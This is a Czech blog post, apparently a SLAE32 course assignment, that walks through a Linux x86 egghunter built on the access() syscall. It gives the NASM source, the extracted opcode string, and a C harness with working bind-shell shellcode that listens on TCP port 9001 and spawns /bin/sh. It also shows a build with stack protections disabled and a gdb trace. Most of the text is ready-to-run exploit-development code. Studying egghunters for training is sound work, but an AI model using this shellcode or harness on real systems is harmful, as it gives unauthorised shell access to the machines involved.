Ve třetím textu této 32bitové série bude demonstrována analýza shellcodu egghunteru a vytvoření funkčního dema, které bude konfigurovatelné pro různé payloady.
Jako referenční materiál pro 32bitový egghunter doporučuji tento zdroj: https://www.exploit-db.com/docs/18482
Egghunter je shaged shellcode, který se používá, když potřebujeme najít větší prostor v paměti pro uložení shellcodu. Egghunter musí být velmi krátký kód, který je schopný fungovat efektivně, protože prohledat celou PE je náročné na CPU. V egghunteru je uložen krátký 4 bytový řetězec, který musí být egghunterem nalezen v paměti 2x (pro zamezení kolize s egghunterem samotným). Egghunter může fungovat mnoha způsoby, pravděpodovně nejvhodnější implementace na Windows je pomocí syscallů NtDisplayString, nebo NtAccessCheck s provedenými malými modifikacemi. V tomto textu bude použit egghunter na Linux, který bude zneužívat syscall access a VAS. Jako zdroj budeme využívat výborný text od Skape.
- less /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
- #define __NR_access 33 = EAX 0x21
- int access(const char *pathname, int mode)
- pathname = argument for address validation
- mode = accessibility check
; Filename: egghunter.nasm
; Author: SLAE-14209
global _start
section .text
_start:
xor eax, eax ; zeroize EAX register
xor ebx, ebx ; zeroize EBX register
xor ecx, ecx ; zeroize ECX register
xor edx, edx ; zeroize EDX register
align_page:
or dx, 0xfff ; PAGE_SIZE 4095 bytes -> EDX
next_address:
inc edx ; EDX +1
lea ebx,[edx+0x4] ; cmp EBX and EDX+4
push byte +0x21 ; syscall access()
pop eax ; pop 0x21 -> EAX
int 0x80
cmp al, 0xf2 ; cmp EAX=0xf2? (efault)
jz align_page ; if efault happens go back and start again
mov eax,0x50905090 ; if no efault happen, then store into eax egg = 0x50905090
mov edi, edx ; EDX -> EDI
scasd ; cmp EDI == EAX? EDI+4
jnz next_address ; if not match jump to next address
scasd ; cmp EDI == EAX? EDI+4
jnz next_address ; if not match jump to next address
jmp edi ; if match jump to shellcode
Celý nasm soubor můžete nalézt zde: https://github.com/Pal1Sec/SLAE32/blob/master/Assignment%203/egghunter.nasm
Soubor zkompilujeme:
- nasm -f elf32 -o egghunter.o egghunter.nasm
- ld egghunter.o -o egghunter
- objdump -d ./egghunter |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7”

Vytvoříme C soubor:
#include <stdio.h>
#include <string.h>
#define EGG "\x90\x50\x90\x50"
unsigned char egghunter[] = \
"\x31\xc0\x31\xdb\x31\xc9"
"\x31\xd2\x66\x81\xca\xff"
"\x0f\x42\x8d\x5a\x04\x6a"
"\x21\x58\xcd\x80\x3c\xf2"
"\x74\xee\xb8"
EGG
"\x89\xd7\xaf\x75\xe9"
"\xaf\x75\xe6\xff\xe7";
// shell_bind_tcp port 9001 ip = 127.0.0.1 (we can easily replace it with something else)
unsigned char shellcode[] = EGG EGG \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main()
{
printf("Egg Location: %p\n", shellcode);
printf("Egghunter size: %d\n", strlen(egghunter));
printf("Shellcode size: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())egghunter;
ret();
}
Zkompilujeme:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět, egghunter s bind shellcodem funguje.
Následně můžeme analyzovat shellcode, použijeme gdb:
- gdb ./shellcode -q
- set disassembly-flavor intel
- break *&egghunter
- run

- disassemble

Definujeme si hook-stop k zobrazení každého registru během každého kroku:
- define hook-stop
- print/x $eax
- print/x $ebx
- print/x $ecx
- print/x $edx
- print/x $edi
- x/4bx $edi
- info registers eflags
- disassemble
- end

Po pár stepi příkazech můžeme vidět, že EBX = 1004 a EDX = 1000. V dalším kroku bude porovnání obou hodnot.

Můžeme vidět, tak jak bylo předpokládáno, že hodnoty EBX a EDX o 1000 na 0x2004 a 0x2000.


Nastavíme breakpoint na instrukci JMP EDI -> break *0x00404067 a jakmile dosáhneme nového breakpointu vidíme, že registr EDI obsahuje náš shellcode:
https://github.com/Pal1Sec/SLAE32/blob/master/Assignment%203/shellcode.c

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32